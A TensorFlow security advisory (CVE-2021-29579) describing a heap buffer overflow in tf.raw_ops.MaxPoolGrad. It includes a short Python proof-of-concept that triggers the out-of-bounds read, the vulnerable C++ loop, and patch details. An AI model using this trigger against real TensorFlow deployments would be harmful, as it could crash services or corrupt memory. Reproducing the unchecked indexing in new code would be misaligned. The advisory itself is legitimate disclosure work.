Heap buffer overflow in `MaxPoolGrad`

Low **mihaimaruseac** published **GHSA-79fv-9865-4qcv** on May 12, 2021

Package

tensorflow, tensorflow-cpu, tensorflow-gpu (pip)

Affected versions	Patched versions
< 2.5.0	2.1.4, 2.2.3, 2.3.3, 2.4.2

Description

Impact

The implementation of `tf.raw_ops.MaxPoolGrad` is vulnerable to a heap buffer overflow:

```
import tensorflow as tf

orig_input = tf.constant([0.0], shape=[1, 1, 1, 1], dtype=tf.float32)
orig_output = tf.constant([0.0], shape=[1, 1, 1, 1], dtype=tf.float32)
grad = tf.constant([], shape=[0, 0, 0, 0], dtype=tf.float32)
ksize = [1, 1, 1, 1]
strides = [1, 1, 1, 1]
padding = "SAME"

tf.raw_ops.MaxPoolGrad(
  orig_input=orig_input, orig_output=orig_output, grad=grad, ksize=ksize,
  strides=strides, padding=padding, explicit_paddings=[])
```

The implementation fails to validate that indices used to access elements of input/output arrays are valid:

```
for (int index = out_start; index < out_end; ++index) {
  int input_backprop_index = out_arg_max_flat(index);
  FastBoundsCheck(input_backprop_index - in_start, in_end - in_start);
  input_backprop_flat(input_backprop_index) += out_backprop_flat(index);
}
```

Whereas accesses to `input_backprop_flat` are guarded by `FastBoundsCheck`, the indexing in `out_backprop_flat` can result in OOB access.

Patches

We have patched the issue in GitHub commit a74768f8e4efbda4def9f16ee7e13cf3922ac5f7.

The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.

Severity

Low

CVE ID

CVE-2021-29579

Weaknesses

No CWEs